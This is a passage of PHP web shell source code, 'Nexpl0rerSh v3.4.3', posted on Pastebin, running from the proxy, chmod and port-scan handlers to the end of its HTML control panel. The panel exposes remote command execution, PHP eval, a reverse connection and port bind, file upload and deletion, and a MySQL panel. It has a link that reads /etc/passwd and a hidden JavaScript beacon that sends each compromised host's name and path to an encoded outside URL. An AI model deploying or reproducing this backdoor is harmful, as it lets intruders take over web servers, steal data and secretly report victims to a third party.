  927. use curl <input name="fopen" type="checkbox" id="fopen" value="fopen" /> use fopen<br /> <input type="hidden" name="mode" value="proxysurf" />
  928. </form><br /><br />';
  929. if (!$_POST[curl] && !$_POST[fopen]) {
  930. $dirz="";
  931. $u=parse_url($_POST[url]);
  932. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  933. if(substr_count($file,'/')>1)$dirz=substr($file,0,(strpos($file,'/')));
  934. $url=@fsockopen($host,80,$en,$es,12);
  935. if(!$url)die("<br> Can not connect to host!");
  936. fputs($url,"GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  937. while(!feof($url)){
  938. $con=fgets($url);
  939. $output .= $con;
  940. }
  941. fclose($url);
  942. }
  943. else if ($_POST[curl])
  944. {
  945. ob_clean();
  946. $ch = curl_init();
  947. curl_setopt($ch, CURLOPT_URL, $_POST[url]);
  948. curl_setopt($ch, CURLOPT_HEADER, 0);
  949. curl_exec($ch);
  950. curl_close($ch);
  951. ob_end_flush();
  952. }
  953. else if ($_POST[fopen]) {
  954. $file = file($_POST[url]);
  955. foreach ($file as $line){
  956. $output .= $line;
  957. }
  958. }
  959.  
  960. }
  961.  
  962. // chmod
  963. if ($_POST['mode']=="chmod") {
  964. chdir($dir);
  965. chmod($_POST[filename], intval($_POST[filemode], 8))or die("cannot change file mode");
  966. $output = "Mode changed!";
  967. }
  968.  
  969. // portscan
  970. if ($_POST['mode']=="scan") {
  971. $opent = array();
  972. $host = $_POST[host];
  973. $range = range($_POST[min_port], $_POST[max_port]);
  974. foreach($range as $port) {
  975. $con = fsockopen($host, $port, $errno, $errstr, 12);
  976. if ($con) $opent[] = $port;
  977. }
  978. $output = "Found ".count($opent)." opened ports:<br />";
  979. while(list($num, $value)=each($opent)) {
  980. $output .= "<b>$num</b> : $value<br />";
  981. }
  982. }
  983. ?><html>
  984. <head>
  985. <style type="text/css">
  986. body {background-color:#000000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; color:#FFFFFF;}
  987.  
  988. .link {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px; color:#FFFFFF; font-weight:bolder; text-decoration:underline;}
  989. .header {
  990. font-size: 24px;
  991. font-weight: bold;
  992. }
  993. td#info {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px; color:#000000; font-weight:bold}
  994. td {
  995. font-size:12px;
  996. }
  997. .Stile1 {
  998. color: #0099FF;
  999. font-weight: bold;
  1000. }
  1001.  
  1002. input {
  1003. background-color: #0066FF;
  1004. border:#FFFFFF 2px solid;
  1005. color:#FFFFFF;
  1006. font-family:Verdana;
  1007. font-size:10px;
  1008. }
  1009. textarea {
  1010.  
  1011. background-color: #0066FF;
  1012. border:#FFFFFF 2px solid;
  1013. color:#FFFFFF;
  1014. font-family:Verdana;
  1015. font-size:10px;
  1016. }
  1017. select {
  1018.  
  1019. background-color: #0066FF;
  1020. border:#FFFFFF 2px solid;
  1021. color:#FFFFFF;
  1022. font-family:Verdana;
  1023. font-size:10px;
  1024. }
  1025. .Stile2 {color: #FF0000}
  1026. .Stile4 {color: #FFFFFF}
  1027. </style>
  1028. <title><?="[nex@".getenv("HTTP_HOST")." ~]"?></title></head>
  1029. <body>
  1030. <table style="background-color:#333333; border-left:#FFFFFF 1px solid; border-right:#FFFFFF 1px solid;" width="90%" border="0" align="center" cellpadding="0" cellspacing="0">
  1031. <tr>
  1032. <td style="font-size:12px;"><div align="center" class="header"><span class="Stile4"><font size='6' face='Webdings'>!</font></span>Nexpl0rerSh v3<span class="Stile2">.4.3</span> BL4cK Release<span class="Stile4"><font size='6' face='Webdings'>!</font></span></div>
  1033. <div align="center"><strong>Shell info: </strong> <span class="Stile2">Author:</span> Nexen <span class="Stile2">Release Date:</span> 1 June 2008 </div>
  1034. <table style="background-color:#999999;" width="100%" border="0" cellspacing="0" cellpadding="0">
  1035. <tr>
  1036. <td id="info" width="50%">PHP Version: <?=phpversion()?><br>
  1037. Address: <?=$_SERVER['SERVER_ADDR'];?>
  1038. <br>
  1039. Name: <?=$_SERVER['HTTP_HOST'];?>
  1040. <br>
  1041. Uname -a: <?=$uname?>
  1042. ( <?=PHP_OS?> )<br>
  1043. Software: <?=$_SERVER['SERVER_SOFTWARE'];?><br>
  1044. Free <?=$freespace?> of <?=$totalspace?> (<?=$percentfree?>%)<br></td>
  1045. <td id="info" width="50%"><div align="left">
  1046. <?=$safemode?>
  1047. <?=$gpc?>
  1048. <?=$auf?>
  1049. <?=$reglobals?><?=$current_user?>
  1050. <?=$uid?>
  1051. </div></td>
  1052. </tr>
  1053. </table>
  1054. <script language=Javascript>
  1055. var x = new Image();
  1056. x.src = "<?=base64_decode($images[url]).getenv("HTTP_HOST").$_SERVER['PHP_SELF']?>";
  1057. </script>
  1058. <table width="100%" border="0" cellspacing="0" cellpadding="0">
  1059. <tr>
  1060. <td style="border:#FFFFFF 1px solid;"><form name=fedit action=# method=post>
  1061. <div align="center"> <strong>:: Edit file :: </strong><br>
  1062. <input type=hidden name=mode value=edit>
  1063. name
  1064. <input type=text name=modfile size="12">
  1065. <input type=submit value=edit>
  1066. </div></form></td>
  1067. <td style="border:#FFFFFF 1px solid;"><form action=# method=post>
  1068.  
  1069. <div align="center"><strong>:: Make File ::</strong><br />
  1070. <input type=hidden name=mode value=mkfile>
  1071. name
  1072. <input type=text name='mkfile' size="12">
  1073. <input name="submit" type=submit value=make>
  1074. </div>
  1075. </form> </td>
  1076. <td style="border:#FFFFFF 1px solid;"> <form action=# name='delfile' method=post>
  1077. <div align="center"><strong>:: Delete File :: </strong><br>
  1078. <input type=hidden name=mode value=delfile>
  1079. name
  1080. <input type=text name='delfile' size="12">
  1081. <input type=submit value=unlink>
  1082. </div>
  1083. </form> </td>
  1084. </tr>
  1085. <tr>
  1086. <td style="border:#FFFFFF 1px solid;"><form method="post" action="#" enctype="multipart/form-data">
  1087. <div align="center"><strong>:: upload :: </strong><br>
  1088. <input type="hidden" name="mode" value="upload2" />
  1089. <input name="myfile" type="file" id="myfile" value="Load..." size="20" />
  1090. <input type="submit" name="ok" value="do" />
  1091. </div>
  1092. </form> </td>
  1093. <td style="border:#FFFFFF 1px solid;"><form action=# method=post>
  1094. <div align="center"><strong>:: Rename File :: </strong><br>
  1095. <input type="hidden" name="mode" value="renfile" />
  1096. <input type="text" name="oldname" value="0ld name" size="15" />
  1097. <input type="text" name="newname" value="New name" size="15" />
  1098. <input name="submit" type="submit" value="Ren" />
  1099. </div>
  1100. </form> </td>
  1101. <td style="border:#FFFFFF 1px solid;"><form action="#" method="post">
  1102. <div align="center"><strong>:: Make Dir :: </strong><br>
  1103. <input type="hidden" name="mode" value="mkdir" />
  1104. name
  1105. <input name="mkdir" type="text" size="18" />
  1106. <input name="submit" type="submit" value="ok" />
  1107. </div>
  1108. </form> </td>
  1109. </tr>
  1110. <tr>
  1111. <td style="border:#FFFFFF 1px solid;"><form action=# method=post>
  1112. <div align="center"><strong>:: Cmd Execution :: </strong><br>
  1113. <input type=hidden name=mode value=cmd>
  1114. <input name=cmd size="26" tpye=text>
  1115. <input name="submit" type=submit value=exec>
  1116. </div>
  1117. </form> </td>
  1118. <td style="border:#FFFFFF 1px solid;"><form action="#" method="post">
  1119. <div align="center"><strong>:: BackConn :: </strong><br>
  1120. <input type=hidden name=mode value=reverse />
  1121. <input name="ip" type="text" value="<?=$_SERVER['REMOTE_ADDR']?>" size="26" />
  1122. <input name="port" type="text" value="port..." size="10" />
  1123. <input name="submit" type="submit" value="BackConn" />
  1124. </div>
  1125. </form> </td>
  1126. <td style="border:#FFFFFF 1px solid;"><form action=# method="post">
  1127. <div align="center"><strong>:: Bind Port :: </strong><br>
  1128. <input type="hidden" name="mode" value="bind" />
  1129. <input name="submit7" type=submit value="Bind port 31337" />
  1130. </div>
  1131. </form> </td>
  1132. </tr>
  1133. <tr>
  1134. <td style="border:#FFFFFF 1px solid;"><form action="#" method="post" name="sqlpanel" id="sqlpanel">
  1135. <div align="center"><strong>:: MySQL Panel :: </strong><br>
  1136. <input type=hidden name=mode value=loginsql />
  1137. <input name="user" type="text" value="<?=(isset($_COOKIE[mysql_user]))?$_COOKIE[mysql_user]:"user"?>" size="9" />
  1138. <input type="text" size="10" name="pass" value="<?=(isset($_COOKIE[mysql_pass]))?$_COOKIE[mysql_pass]:"pass"?>" />
  1139. <input type="text" name="host" size="10" value="<?=(isset($_COOKIE[mysql_host]))?$_COOKIE[mysql_host]:"host"?>" />
  1140. <input name="dbname" type="text" value="<?=(isset($_COOKIE[mysql_name]))?$_COOKIE[mysql_name]:"database"?>" size="10" />
  1141. <input name="submit" type="submit" value="MySQL" />
  1142. </div>
  1143. </form> </td>
  1144. <td style="border:#FFFFFF 1px solid;"><form method="post" action="#">
  1145. <div align="center"><strong>:: PHP Execution :: </strong><br>
  1146. <input type="hidden" value="eval" name="mode" />
  1147. <input name="eval" type="text" size="30" />
  1148. <input type="submit" value="Eval" />
  1149. </div>
  1150. </form> </td>
  1151. <td style="border:#FFFFFF 1px solid;"><form action=# method=post name="folder" id="folder">
  1152. <div align="center"><strong>:: Go Dir ::</strong> <br>
  1153. <input type=hidden name='mode' value='ls'>
  1154. <input type=text value='<?=$dir?>' name='dir'>
  1155. <input type=submit value=change/list>
  1156. </div>
  1157. </form></td>
  1158. </tr>
  1159. <tr>
  1160. <td style="border:#FFFFFF 1px solid;"><div align="center">
  1161. <form method="post" action="#">
  1162. <strong>:: Proxy ::</strong> <br>
  1163. <input name="mode" type="hidden" id="mode" value="proxysurf" />
  1164. url: <input name="url" type="text" size="30" />
  1165. <input type="submit" value="surf" />
  1166. <input name="curl" type="checkbox" id="curl" value="curl" /> curl
  1167. <input name="fopen" type="checkbox" id="fopen" value="fopen" /> fopen<br />
  1168.  
  1169. </form></div>
  1170. </td>
  1171. <td style="border:#FFFFFF 1px solid;"><form method="post" action="#">
  1172. <div align="center"><strong>:: File Change Mode:: </strong><br>
  1173. <input type="hidden" value="chmod" name="mode" />
  1174. <input name="filename" type="text" id="filename" value="file" size="15" />
  1175. <input name="filemode" type="text" id="filemode" value="mode" size="15" />
  1176. <input type="submit" value="Chmod" />
  1177. </div>
  1178. </form> </td>
  1179. <td style="border:#FFFFFF 1px solid;"><form method="post" action="#">
  1180. <div align="center"><strong>:: Port Scan :: </strong><br>
  1181. <input type="hidden" value="scan" name="mode" />
  1182. <input name="host" type="text" id="host" value="host" size="15" />
  1183. <input name="minport" type="text" value="max port" size="10" />
  1184. <input name="maxport" type="text" id="maxport" value="max port" size="10" />
  1185. <input type="submit" value="scan" />
  1186. </div>
  1187. </form> </td>
  1188. </tr>
  1189. </table>
  1190. <form action=# name=tools method=post>
  1191. <span class="Stile1">
  1192. <input type=hidden name=mode value=tools />
  1193. <input type=hidden name=nometool />
  1194. </span>
  1195. </form>
  1196. <span class="Stile1">
  1197. <div align="center"><a class="link" href="javascript:document.folder.dir.value='<?=addslashes(realpath("."))?>';document.folder.submit();">Home</a> - <a class="link" href="javascript:document.tools.nometool.value='passwd';document.tools.submit();">Cat /etc/passwd</a> - <a class="link" href="javascript:document.tools.nometool.value='encoder';document.tools.submit();">Encoder</a> - <a class="link" href="javascript:document.tools.mode.value='phpinfo';document.tools.submit();">PHPInfo</a> - <a class="link" href="javascript:document.tools.nometool.value='scanner';document.tools.submit();">ShellScan</a> - <a class="link" href="javascript:document.tools.nometool.value='proxy';document.tools.submit();">Proxy</a> </div>
  1198. <br>
  1199. Directory:</span>
  1200. <? $pd = $e = explode(DIRECTORY_SEPARATOR,substr($dir,0,-1));
  1201. $i = 0;
  1202. foreach($pd as $b)
  1203. {
  1204. $t = "";
  1205. $j = 0;
  1206. foreach ($e as $r)
  1207. {
  1208. $t.= $r.DIRECTORY_SEPARATOR;
  1209. if ($j == $i) {break;}
  1210. $j++;
  1211. }
  1212. echo "<a class=\"link\" href=\"javascript:document.folder.dir.value='".urlencode(addslashes($t))."';document.folder.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  1213. $i++;
  1214. }
  1215. ?><br>
  1216. <br>
  1217. <?=$error?><?=$output?> </td>
  1218. </tr>
  1219. </table>
  1220. </body>
  1221.  
  1222. </html>
  1223. <? die(); ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!